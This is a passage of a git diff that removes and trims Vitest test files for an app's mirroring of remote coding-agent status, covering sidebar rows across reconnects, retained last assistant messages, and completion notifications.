-    tabs: PANES.map((pane, index) => ({
-      type: 'terminal' as const,
-      id: `${pane.hostTabId}::${pane.leafId}`,
-      title: pane.title,
-      parentTabId: pane.hostTabId,
-      leafId: pane.leafId,
-      isActive: index === 0,
-      launchAgent: pane.agentType,
-      status: 'ready' as const,
-      terminal: `terminal-${index + 1}`,
-      ...(pane.statusSource === 'host-hook'
-        ? {
-            agentStatus: {
-              state: 'working' as const,
-              prompt: `work on ${pane.hostTabId}`,
-              updatedAt: args.hostNow,
-              stateStartedAt: args.hostNow - 60_000,
-              agentType: pane.agentType,
-              paneKey: makePaneKey(pane.hostTabId, pane.leafId),
-              tabId: pane.hostTabId,
-              worktreeId: WT,
-              stateHistory: []
-            }
-          }
-        : {})
-    }))
-  }
-}
-
-/** Mirrors applyWebSessionTabsStorePatch: build the patch from live state, then set it. */
-function applyHostSnapshot(
-  store: TestStore,
-  snapshot: RuntimeMobileSessionTabsResult,
-  now: number
-): void {
-  vi.setSystemTime(now)
-  const state = store.getState()
-  const patch = applyFreshWebSessionTabsSnapshot(state, snapshot, ENV, now)
-  expect(patch, 'host snapshot must pass the freshness gate').not.toBe(state)
-  store.setState(patch as Partial<AppState>)
-}
-
-/**
- * Byte-identical replay of what pty-connection does for a remote pane
- * (shouldOwnAgentStatusInRenderer = runtimeEnvironmentId !== null): claim the
- * pane at transport creation, then prove the claim on each byte-derived write.
- * Returns the pane's release, which pty-connection holds for dispose().
- */
-function replayClientByteStatus(store: TestStore, pane: PaneSpec, clientNow: number): () => void {
-  vi.setSystemTime(clientNow)
-  const paneKey = mirrorPaneKey(pane)
-  const release = registerRendererOwnedAgentStatusPane(paneKey, ENV)
-  markRendererOwnedAgentStatusWrite(paneKey)
-  store
-    .getState()
-    .setAgentStatus(
-      paneKey,
-      { state: 'working', prompt: `work on ${pane.hostTabId}`, agentType: pane.agentType },
-      pane.agentType,
-      undefined,
-      { tabId: mirrorTabId(pane), worktreeId: WT }
-    )
-  return release
-}
-
-function seedPairedClientStore(): TestStore {
-  const store = createTestStore()
-  seedStore(store, {
-    settings: { ...getDefaultSettings('/tmp'), tabAutoGenerateTitle: true },
-    worktreesByRepo: { repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })] },
-    activeWorktreeId: WT
-  } as Partial<AppState>)
-  return store
-}
-
-type SidebarObservation = {
-  tabIds: string[]
-  rowPaneKeys: string[]
-  tabsWithLivePty: string[]
-}
-
-/** Byte-identical to useWorktreeAgentRows' inputs, minus React. */
-function observeSidebar(store: TestStore, now: number): SidebarObservation {
-  const state = store.getState()
-  const tabs = state.tabsByWorktree[WT] ?? []
-  const rows = buildWorktreeAgentRows({
-    tabs,
-    entries: selectLiveAgentStatusEntriesForWorktree(state, WT),
-    retained: selectRetainedAgentEntriesForWorktree(state, WT),
-    runtimePaneTitlesByTabId: selectRuntimePaneTitlesForWorktree(state, WT),
-    ptyIdsByTabId: selectLivePtyIdsForWorktree(state, WT),
-    terminalLayoutsByTabId: Object.fromEntries(
-      tabs.map((tab) => [tab.id, state.terminalLayoutsByTabId[tab.id]])
-    ),
-    now
-  })
-  return {
-    tabIds: tabs.map((tab) => tab.id),
-    rowPaneKeys: rows.filter((row) => row.rowSource !== 'subagent').map((row) => row.paneKey),
-    tabsWithLivePty: Object.keys(selectLivePtyIdsForWorktree(state, WT))
-  }
-}
-
-/** Attaches, runs one turn on every pane, then drops the transport for `awayMs`
- *  and lets the host republish its live state on reconnect. */
-function runSleepWakeReconnect(store: TestStore, awayMs: number): SidebarObservation {
-  applyHostSnapshot(store, makeHostSnapshot({ snapshotVersion: 1, hostNow: T0 - 1_000 }), T0)
-  for (const pane of CLIENT_OWNED_PANES) {
-    replayClientByteStatus(store, pane, T0)
-  }
-  const attached = observeSidebar(store, T0)
-  expect(attached.rowPaneKeys, 'precondition: every pane has a row while attached').toHaveLength(
-    PANES.length
-  )
-
-  const wakeAt = T0 + awayMs
-  applyHostSnapshot(
-    store,
-    makeHostSnapshot({ snapshotVersion: 2, hostNow: wakeAt - 1_000 }),
-    wakeAt
-  )
-  return observeSidebar(store, wakeAt)
-}
-
-describe('STA-3107: sidebar agent rows survive a paired-client sleep/wake reconnect', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.setSystemTime(T0)
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetRendererOwnedAgentStatusPanesForTests()
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    resetRendererOwnedAgentStatusPanesForTests()
-  })
-
-  it('keeps a sidebar row for every still-live pane after a long sleep', () => {
-    const store = seedPairedClientStore()
-    const reconnected = runSleepWakeReconnect(store, LONG_SLEEP_MS)
-    const evidence = `after wake:\n${JSON.stringify(reconnected, null, 2)}`
-
-    // Require tab presence and host live PTY: missing agent rows must reflect sidebar loss, not genuine pane death.
-    expect(reconnected.tabIds, evidence).toHaveLength(PANES.length)
-    expect(reconnected.tabsWithLivePty, evidence).toHaveLength(PANES.length)
-    expect(reconnected.rowPaneKeys.sort(), evidence).toEqual(PANES.map(mirrorPaneKey).sort())
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/remote-agent-row-last-assistant-message.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/remote-agent-row-last-assistant-message.test.ts
deleted file mode 100644
index dc003e33663..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/remote-agent-row-last-assistant-message.test.ts
+++ /dev/null
@@ -1,300 +0,0 @@
-// Client OSC ownership once discarded mirrored lastAssistantMessage, which only host hooks know (#12906/STA-3596). OSC writes lack that field, so wholesale client precedence blanked every paired row. Drive real mirror/store/sidebar builder and assert entry.lastAssistantMessage, the field both row renderers consume.
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
-import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
-import { getDefaultSettings } from '../../../../../shared/constants'
-import type { AppState } from '../../../store/types'
-import { createTestStore, seedStore } from '../../../store/testing/app-store-test-fixture'
-import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture'
-import {
-  markRendererOwnedAgentStatusWrite,
-  registerRendererOwnedAgentStatusPane,
-  resetRendererOwnedAgentStatusPanesForTests
-} from '../../../components/terminal-pane/agent-status/renderer-owned-agent-status-registry'
-import { applyFreshWebSessionTabsSnapshot } from '../snapshot-api'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
-import { buildWorktreeAgentRows } from '../../../components/sidebar/workspace-card/activity/worktree-agent-rows'
-import {
-  selectLiveAgentStatusEntriesForWorktree,
-  selectRetainedAgentEntriesForWorktree
-} from '../../../components/sidebar/workspace-card/activity/worktree-agent-row-selectors'
-import {
-  selectLivePtyIdsForWorktree,
-  selectRuntimePaneTitlesForWorktree
-} from '../../../components/sidebar/workspace-card/activity/worktree-card-status-inputs'
-
-// Mock singleton import; this harness drives createTestStore like sibling mirror suites.
-vi.mock('../../../store/index', () => ({
-  useAppStore: {
-    setState: vi.fn(),
-    getState: vi.fn(() => ({})),
-    subscribe: vi.fn(() => () => {})
-  }
-}))
-
-const WT = 'repo1::/path/wt1'
-const ENV = 'remote-env-1'
-const HOST_EPOCH = 'host-epoch-1'
-const T0 = 1_700_000_000_000
-
-/** The pane this renderer streams and therefore claims (pty-connection claims
- *  every pane whose transport has a runtimeEnvironmentId). */
-const OWNED = {
-  hostTabId: 'host-tab-1',
-  leafId: '11111111-1111-4111-8111-111111111111'
-} as const
-/** A pane mirrored from the same host that this renderer never wrote status for,
- *  so the host stays authoritative for it. */
-const CEDED = {
-  hostTabId: 'host-tab-2',
-  leafId: '22222222-2222-4222-8222-222222222222'
-} as const
-
-const HOST_MESSAGE = '좌→우 가로 파이프라인으로 다시 그렸습니다'
-
-type PaneRef = { hostTabId: string; leafId: string }
-
-function mirrorTabId(pane: PaneRef): string {
-  return toWebTerminalSurfaceTabId(pane.hostTabId)
-}
-
-function mirrorPaneKey(pane: PaneRef): string {
-  return makePaneKey(mirrorTabId(pane), pane.leafId)
-}
-
-type HostPaneStatus = {
-  state: 'working' | 'done'
-  /** Omitted entirely for the old-host skew case. */
-  lastAssistantMessage?: string
-  stateStartedAt: number
-}
-
-function makeHostSnapshot(args: {
-  snapshotVersion: number
-  hostNow: number
-  statusByHostTabId: Record<string, HostPaneStatus>
-}): RuntimeMobileSessionTabsResult {
-  const panes: PaneRef[] = [OWNED, CEDED]
-  return {
-    worktree: WT,
-    publicationEpoch: HOST_EPOCH,
-    snapshotVersion: args.snapshotVersion,
-    activeGroupId: 'host-group-1',
-    activeTabId: `${OWNED.hostTabId}::${OWNED.leafId}`,
-    activeTabType: 'terminal',
-    tabs: panes.map((pane, index) => {
-      const status = args.statusByHostTabId[pane.hostTabId]
-      return {
-        type: 'terminal' as const,
-        id: `${pane.hostTabId}::${pane.leafId}`,
-        title: 'Claude Code',
-        parentTabId: pane.hostTabId,
-        leafId: pane.leafId,
-        isActive: index === 0,
-        launchAgent: 'claude' as const,
-        status: 'ready' as const,
-        terminal: `terminal-${index + 1}`,
-        ...(status
-          ? {
-              agentStatus: {
-                state: status.state,
-                prompt: '',
-                updatedAt: args.hostNow,
-                stateStartedAt: status.stateStartedAt,
-                agentType: 'claude' as const,
-                paneKey: makePaneKey(pane.hostTabId, pane.leafId),
-                tabId: pane.hostTabId,
-                worktreeId: WT,
-                stateHistory: [],
-                ...(status.lastAssistantMessage !== undefined
-                  ? { lastAssistantMessage: status.lastAssistantMessage }
-                  : {})
-              }
-            }
-          : {})
-      }
-    })
-  }
-}
-
-type TestStore = ReturnType<typeof createTestStore>
-
-/** Mirrors applyWebSessionTabsStorePatch: build the patch from live state, then
- *  set it. Returns false when the mirror produced no change — pre-fix, a
- *  republication onto a client-owned pane is exactly that no-op. */
-function applyHostSnapshot(
-  store: TestStore,
-  snapshot: RuntimeMobileSessionTabsResult,
-  now: number
-): boolean {
-  vi.setSystemTime(now)
-  const state = store.getState()
-  const patch = applyFreshWebSessionTabsSnapshot(state, snapshot, ENV, now)
-  store.setState(patch as Partial<AppState>)
-  return patch !== state
-}
-
-/**
- * Byte-identical replay of what pty-connection does for a remote pane: claim the
- * key at transport creation, then prove the claim with a byte-derived write. The
- * OSC pipeline sees a title and a state — never a Stop event — so the payload it
- * writes carries no lastAssistantMessage.
- */
-function replayClientByteStatus(
-  store: TestStore,
-  pane: PaneRef,
-  state: 'working' | 'done',
-  clientNow: number
-): void {
-  vi.setSystemTime(clientNow)
-  const paneKey = mirrorPaneKey(pane)
-  registerRendererOwnedAgentStatusPane(paneKey, ENV)
-  markRendererOwnedAgentStatusWrite(paneKey)
-  store
-    .getState()
-    .setAgentStatus(paneKey, { state, prompt: '', agentType: 'claude' }, 'Claude Code', undefined, {
-      tabId: mirrorTabId(pane),
-      worktreeId: WT
-    })
-}
-
-function seedPairedClientStore(): TestStore {
-  const store = createTestStore()
-  seedStore(store, {
-    settings: { ...getDefaultSettings('/tmp'), tabAutoGenerateTitle: true },
-    worktreesByRepo: { repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })] },
-    activeWorktreeId: WT
-  } as Partial<AppState>)
-  return store
-}
-
-/** The value both agent-row renderers read, keyed by pane. Byte-identical to
- *  useWorktreeAgentRows' inputs, minus React. */
-function observeRowMessages(store: TestStore, now: number): Record<string, string | undefined> {
-  const state = store.getState()
-  const tabs = state.tabsByWorktree[WT] ?? []
-  const rows = buildWorktreeAgentRows({
-    tabs,
-    entries: selectLiveAgentStatusEntriesForWorktree(state, WT),
-    retained: selectRetainedAgentEntriesForWorktree(state, WT),
-    runtimePaneTitlesByTabId: selectRuntimePaneTitlesForWorktree(state, WT),
-    ptyIdsByTabId: selectLivePtyIdsForWorktree(state, WT),
-    terminalLayoutsByTabId: Object.fromEntries(
-      tabs.map((tab) => [tab.id, state.terminalLayoutsByTabId[tab.id]])
-    ),
-    now
-  })
-  const byPaneKey: Record<string, string | undefined> = {}
-  for (const row of rows) {
-    if (row.rowSource !== 'subagent') {
-      byPaneKey[row.paneKey] = row.entry.lastAssistantMessage
-    }
-  }
-  return byPaneKey
-}
-
-describe('#12906: remote agent rows keep the host-published last assistant message', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.setSystemTime(T0)
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetRendererOwnedAgentStatusPanesForTests()
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    resetRendererOwnedAgentStatusPanesForTests()
-  })
-
-  it('keeps a mirrored message when a later host frame omits the field (old host / new client)', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1,
-        hostNow: T0 - 1_000,
-        statusByHostTabId: {
-          [OWNED.hostTabId]: { state: 'done', stateStartedAt: T0 - 2_000 }
-        }
-      }),
-      T0
-    )
-    replayClientByteStatus(store, OWNED, 'done', T0)
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 2,
-        hostNow: T0 + 1_000,
-        statusByHostTabId: {
-          [OWNED.hostTabId]: {
-            state: 'done',
-            lastAssistantMessage: HOST_MESSAGE,
-            stateStartedAt: T0 - 2_000
-          }
-        }
-      }),
-      T0 + 2_000
-    )
-    expect(
-      observeRowMessages(store, T0 + 2_000)[mirrorPaneKey(OWNED)],
-      'precondition: the fenced pane adopted the host message'
-    ).toBe(HOST_MESSAGE)
-
-    // Older hosts can drop message when stale status demotes under neutral titles (#9914); do not blank retained text.
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 3,
-        hostNow: T0 + 3_000,
-        statusByHostTabId: {
-          [OWNED.hostTabId]: { state: 'done', stateStartedAt: T0 - 2_000 }
-        }
-      }),
-      T0 + 4_000
-    )
-
-    expect(observeRowMessages(store, T0 + 4_000)[mirrorPaneKey(OWNED)]).toBe(HOST_MESSAGE)
-  })
-
-  it('does not paste last turn’s message under a turn the client already restarted', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1,
-        hostNow: T0 - 10_000,
-        statusByHostTabId: {
-          [OWNED.hostTabId]: {
-            state: 'done',
-            lastAssistantMessage: HOST_MESSAGE,
-            stateStartedAt: T0 - 20_000
-          }
-        }
-      }),
-      T0 - 9_000
-    )
-    // Spinner starts a new turn before host hook catches up; its done frame belongs to the previous turn.
-    replayClientByteStatus(store, OWNED, 'working', T0)
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 2,
-        hostNow: T0 + 1_000,
-        statusByHostTabId: {
-          [OWNED.hostTabId]: {
-            state: 'done',
-            lastAssistantMessage: HOST_MESSAGE,
-            stateStartedAt: T0 - 20_000
-          }
-        }
-      }),
-      T0 + 2_000
-    )
-
-    // Local writes replace lastAssistantMessage directly, so starting a new turn clears completion text.
-    const messages = observeRowMessages(store, T0 + 2_000)
-    expect(Object.keys(messages)).toContain(mirrorPaneKey(OWNED))
-    expect(messages[mirrorPaneKey(OWNED)]).toBeUndefined()
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-agent-completion-notifications.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-agent-completion-notifications.test.ts
index ee36a80270e..6ba8c13d8bc 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-agent-completion-notifications.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-agent-completion-notifications.test.ts
@@ -1,5 +1,4 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AgentStatusChange } from '@/store/slices/agent-status/agent-status-contract'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
@@ -13,7 +12,6 @@ vi.mock('@/hooks/agent-hook-completion-notifications', () => ({
 }))
 
 import { useAppStore } from '@/store/index'
-import { createAgentCompletionCoordinator } from '@/components/terminal-pane/agent-completion/agent-completion-coordinator'
 import { resetAgentCompletionCoordinatorIdentitiesForTest } from '@/components/terminal-pane/agent-completion/agent-completion-identity-store'
 import { dispatchTerminalNotification } from '../../../components/terminal-pane/notifications/dispatch-terminal-notification'
 import {
@@ -21,11 +19,7 @@ import {
   registerRendererOwnedAgentStatusPane,
   resetRendererOwnedAgentStatusPanesForTests
 } from '@/components/terminal-pane/agent-status/renderer-owned-agent-status-registry'
-import {
-  applyWebSessionTabsSnapshot,
-  applyWebSessionTabsSnapshots,
-  applyWebSessionTabsSnapshotOperations
-} from '../snapshot-api'
+import { applyWebSessionTabsSnapshot } from '../snapshot-api'
 import { applyWebSessionTabsStorePatch } from '../store-patch'
 import { decideWebSessionTabsSnapshot } from '../tracking-decisions'
 import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
@@ -78,22 +72,6 @@ function makeAgentSnapshot(
   }
 }
 
-/** An older host omits the worktree on agents restored after a restart. */
-function withoutAgentWorktree(
-  snapshot: RuntimeMobileSessionTabsResult
-): RuntimeMobileSessionTabsResult {
-  return {
-    ...snapshot,
-    tabs: snapshot.tabs.map((tab) => {
-      if (tab.type !== 'terminal' || !tab.agentStatus) {
-        return tab
-      }
-      const { worktreeId: _worktreeId, ...agentStatus } = tab.agentStatus
-      return { ...tab, agentStatus }
-    })
-  }
-}
-
 function applySnapshot(snapshot: RuntimeMobileSessionTabsResult, live: boolean): void {
   const decision = decideWebSessionTabsSnapshot(snapshot, ENVIRONMENT_ID)
   applyWebSessionTabsStorePatch(
@@ -131,154 +109,6 @@ describe('paired session-tab agent completion notifications', () => {
     vi.useRealTimers()
   })
 
-  it.each(['single', 'batch', 'operations'] as const)(
-    'reports committed mirror keys through %s reconciliation and retraction',
-    (kind) => {
-      const observed = vi.fn((changes: readonly AgentStatusChange[]) => {
-        for (const change of changes) {
-          expect(useAppStore.getState().agentStatusByPaneKey[change.paneKey]).toBe(change.current)
-        }
-      })
-      const dispose = useAppStore.getState().subscribeAgentStatusChanges(observed)
-      const paneKey = makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID)
-      const apply = (snapshot: RuntimeMobileSessionTabsResult) => {
-        const decision = decideWebSessionTabsSnapshot(snapshot, ENVIRONMENT_ID)
-        const settle = applyWebSessionTabsStorePatch(
-          (state, keys) => {
-            if (kind === 'batch') {
-              return applyWebSessionTabsSnapshots(state, [snapshot], ENVIRONMENT_ID, NOW, keys)
-            }
-            if (kind === 'operations') {
-              return applyWebSessionTabsSnapshotOperations(
-                state,
-                [{ snapshot, environmentId: ENVIRONMENT_ID, decision }],
-                keys
-              )
-            }
-            return applyWebSessionTabsSnapshot(
-              state,
-              snapshot,
-              ENVIRONMENT_ID,
-              NOW,
-              undefined,
-              keys
-            )
-          },
-          { frames: [{ environmentId: ENVIRONMENT_ID, worktreeId: WORKTREE_ID, decision }] }
-        )
-        settle()
-      }
-      try {
-        apply(makeAgentSnapshot(1, NOW))
-        expect(observed).toHaveBeenCalledExactlyOnceWith([
-          {
-            paneKey,
-            previous: undefined,
-            current: useAppStore.getState().agentStatusByPaneKey[paneKey]
-          }
-        ])
-        const previous = useAppStore.getState().agentStatusByPaneKey[paneKey]
-        observed.mockClear()
-        apply({ ...makeAgentSnapshot(2, NOW + 1), tabs: [] })
-        expect(observed).toHaveBeenCalledExactlyOnceWith([
-          { paneKey, previous, current: undefined }
-        ])
-        observed.mockClear()
-        apply({ ...makeAgentSnapshot(3, NOW + 2), tabs: [] })
-        expect(observed).not.toHaveBeenCalled()
-      } finally {
-        dispose()
-      }
-    }
-  )
-
-  it.each([
-    ['a host naming the worktree', (snapshot: RuntimeMobileSessionTabsResult) => snapshot],
-    ['an older host that omits it', withoutAgentWorktree]
-  ])(
-    'announces one live stamped completion after a late-pair working seed from %s',
-    (_label, frame) => {
-      const dispatchCompletion = vi.fn()
-      const coordinator = createAgentCompletionCoordinator({
-        paneKey: makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID),
-        getPtyId: () => 'pty-1',
-        inspectProcess: vi.fn(),
-        dispatchCompletion,
-        isLive: () => true
-      })
-      mocks.observeAgentHookCompletionForNotification.mockImplementation(({ payload, seedOnly }) =>
-        seedOnly ? coordinator.seedHookStatus(payload) : coordinator.observeHookStatus(payload)
-      )
-
-      applySnapshot(frame(makeAgentSnapshot(1, NOW)), false)
-      applySnapshot(frame(makeAgentSnapshot(2, NOW + 1_000, NOW + 1_000)), true)
-
-      expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-    }
-  )
-
-  it('announces a host-stamped turn while client OSC status owns the pane', () => {
-    const paneKey = makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID)
-    registerRendererOwnedAgentStatusPane(paneKey, ENVIRONMENT_ID)
-    markRendererOwnedAgentStatusWrite(paneKey)
-    useAppStore.setState({
-      agentStatusByPaneKey: {
-        [paneKey]: {
-          state: 'working',
-          prompt: 'review the PR',
-          updatedAt: NOW,
-          stateStartedAt: NOW,
-          agentType: 'claude',
-          paneKey,
-          tabId: toWebTerminalSurfaceTabId(HOST_TAB_ID),
-          worktreeId: WORKTREE_ID,
-          stateHistory: []
-        }
-      }
-    })
-    const dispatchCompletion = vi.fn()
-    const coordinator = createAgentCompletionCoordinator({
-      paneKey,
-      getPtyId: () => 'pty-1',
-      inspectProcess: vi.fn(),
-      dispatchCompletion,
-      isLive: () => true
-    })
-    mocks.observeAgentHookCompletionForNotification.mockImplementation(({ payload, seedOnly }) =>
-      seedOnly ? coordinator.seedHookStatus(payload) : coordinator.observeHookStatus(payload)
-    )
-
-    applySnapshot(makeAgentSnapshot(1, NOW - 2_000), true)
-    const turnCompletedAt = NOW + 20_000
-    applySnapshot(makeAgentSnapshot(2, NOW - 1_000, turnCompletedAt), true)
-    applySnapshot(makeAgentSnapshot(3, NOW, turnCompletedAt, 'done'), true)
-
-    expect(useAppStore.getState().agentStatusByPaneKey[paneKey]?.state).toBe('working')
-    expect(mocks.observeAgentHookCompletionForNotification).toHaveBeenCalledTimes(3)
-    expect(mocks.observeAgentHookCompletionForNotification).toHaveBeenNthCalledWith(
-      2,
-      expect.objectContaining({
-        payload: expect.objectContaining({
-          localStateStartedAt: NOW,
-          turnCompletedAt
-        })
-      })
-    )
-    expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-    expect(dispatchCompletion).toHaveBeenCalledWith(
-      'claude',
-      expect.objectContaining({
-        source: 'hook',
-        quietedHookDone: false,
-        agentStatus: expect.objectContaining({
-          state: 'done',
-          prompt: 'review the PR',
-          turnCompletedAt
-        })
-      })
-    )
-  })
-
   it('keeps a delayed host stamp bound to the prior client turn', () => {
     const paneKey = makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID)
     registerRendererOwnedAgentStatusPane(paneKey, ENVIRONMENT_ID)
@@ -327,138 +157,4 @@ describe('paired session-tab agent completion notifications', () => {
 
     expect(notificationDispatch).not.toHaveBeenCalled()
   })
-
-  it('suppresses a stamped reconnect tail and its live all-clear', () => {
-    const dispatchCompletion = vi.fn()
-    const coordinator = createAgentCompletionCoordinator({
-      paneKey: makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID),
-      getPtyId: () => 'pty-1',
-      inspectProcess: vi.fn(),
-      dispatchCompletion,
-      isLive: () => true
-    })
-    mocks.observeAgentHookCompletionForNotification.mockImplementation(({ payload, seedOnly }) =>
-      seedOnly ? coordinator.seedHookStatus(payload) : coordinator.observeHookStatus(payload)
-    )
-
-    applySnapshot(makeAgentSnapshot(1, NOW, NOW), false)
-    applySnapshot(makeAgentSnapshot(2, NOW + 1_000, NOW, 'done'), true)
-
-    expect(mocks.observeAgentHookCompletionForNotification).toHaveBeenCalledTimes(2)
-    expect(dispatchCompletion).not.toHaveBeenCalled()
-  })
-
-  it('seeds an older restarted-host stamp without replaying its completion', () => {
-    const dispatchCompletion = vi.fn()
-    const coordinator = createAgentCompletionCoordinator({
-      paneKey: makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID),
-      statusLane: 'hook',
-      getPtyId: () => 'pty-1',
-      inspectProcess: vi.fn(),
-      dispatchCompletion,
-      isLive: () => true
-    })
-    mocks.observeAgentHookCompletionForNotification.mockImplementation(({ payload, seedOnly }) =>
-      seedOnly ? coordinator.seedHookStatus(payload) : coordinator.observeHookStatus(payload)
-    )
-    const firstTurnCompletedAt = NOW + 100_000
-    const secondTurnCompletedAt = NOW + 200_000
-
-    applySnapshot(makeAgentSnapshot(1, NOW), false)
-    applySnapshot(makeAgentSnapshot(2, NOW + 1_000, firstTurnCompletedAt), true)
-    expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-    applySnapshot(makeAgentSnapshot(3, NOW + 2_000), true)
-    expect(mocks.observeAgentHookCompletionForNotification).toHaveBeenCalledTimes(3)
-    applySnapshot(makeAgentSnapshot(4, NOW + 3_000, secondTurnCompletedAt), true)
-    expect(dispatchCompletion).toHaveBeenCalledTimes(2)
-    applySnapshot(makeAgentSnapshot(5, NOW + 4_000), true)
-
-    applySnapshot(
-      {
-        ...makeAgentSnapshot(1, NOW + 5_000, firstTurnCompletedAt),
-        publicationEpoch: 'epoch-2'
-      },
-      false
-    )
-    applySnapshot(
-      {
-        ...makeAgentSnapshot(2, NOW + 6_000, firstTurnCompletedAt, 'done'),
-        publicationEpoch: 'epoch-2'
-      },
-      true
-    )
-    vi.advanceTimersByTime(1_500)
-
-    expect(dispatchCompletion).toHaveBeenCalledTimes(2)
-  })
-
-  describe('reconnect hydration of a host-owned done', () => {
-    let dispatchCompletion = vi.fn()
-
-    beforeEach(() => {
-      dispatchCompletion = vi.fn()
-      const coordinator = createAgentCompletionCoordinator({
-        paneKey: makePaneKey(toWebTerminalSurfaceTabId(HOST_TAB_ID), LEAF_ID),
-        statusLane: 'hook',
-        getPtyId: () => 'pty-1',
-        inspectProcess: vi.fn(),
-        dispatchCompletion,
-        isLive: () => true
-      })
-      mocks.observeAgentHookCompletionForNotification.mockImplementation(({ payload, seedOnly }) =>
-        seedOnly ? coordinator.seedHookStatus(payload) : coordinator.observeHookStatus(payload)
-      )
-    })
-
-    it('announces a turn that finished while the host was unreachable', () => {
-      applySnapshot(makeAgentSnapshot(1, NOW), true)
-      applySnapshot(makeAgentSnapshot(2, NOW + 45_000, undefined, 'done', NOW + 15_000), false)
-      vi.advanceTimersByTime(1_500)
-
-      expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-      expect(dispatchCompletion).toHaveBeenCalledWith(
-        'claude',
-        expect.objectContaining({
-          source: 'hook',
-          agentStatus: expect.objectContaining({ state: 'done', stateStartedAt: NOW + 15_000 })
-        })
-      )
-    })
-
-    it('announces a background turn stamped while the host was unreachable, once', () => {
-      applySnapshot(makeAgentSnapshot(1, NOW), true)
-      applySnapshot(makeAgentSnapshot(2, NOW + 45_000, NOW + 15_000), false)
-      expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-
-      applySnapshot(makeAgentSnapshot(3, NOW + 46_000, NOW + 15_000), false)
-      expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-    })
-
-    it('seeds a stamped working row found on first load without announcing it', () => {
-      applySnapshot(makeAgentSnapshot(1, NOW, NOW + 15_000), false)
-      vi.advanceTimersByTime(1_500)
-
-      expect(dispatchCompletion).not.toHaveBeenCalled()
-    })
-
-    it('seeds a done found on first load without announcing it', () => {
-      applySnapshot(makeAgentSnapshot(1, NOW, undefined, 'done', NOW + 15_000), false)
-      vi.advanceTimersByTime(1_500)
-
-      expect(dispatchCompletion).not.toHaveBeenCalled()
-    })
-
-    it('does not re-announce a replayed done', () => {
-      applySnapshot(makeAgentSnapshot(1, NOW), true)
-      applySnapshot(makeAgentSnapshot(2, NOW + 1_000, undefined, 'done', NOW + 15_000), true)
-      vi.advanceTimersByTime(1_500)
-      expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-
-      applySnapshot(makeAgentSnapshot(3, NOW + 2_000, undefined, 'done', NOW + 15_000), false)
-      applySnapshot(makeAgentSnapshot(4, NOW + 3_000, undefined, 'done', NOW + 15_000), false)
-      vi.advanceTimersByTime(1_500)
-
-      expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-    })
-  })
 })
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-agent-status.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-agent-status.test.ts
deleted file mode 100644
index feaad68bf68..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-agent-status.test.ts
+++ /dev/null
@@ -1,307 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { buildWorktreeAgentRows } from '../../../components/sidebar/workspace-card/activity/worktree-agent-rows'
-import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
-import * as sessionOrigin from '../../../../../shared/agent-session/lifecycle/agent-session-start-time'
-import { buildMirroredAgentStatusPatch } from '../agent-status-patch'
-import { applyWebSessionTabsSnapshot } from '../snapshot-api'
-import type { WebSessionTabsSyncState } from '../state'
-import {
-  ENV,
-  HOST_SURFACE_ID,
-  LEAF_ID,
-  NOW,
-  WT,
-  makeSnapshot,
-  makeState,
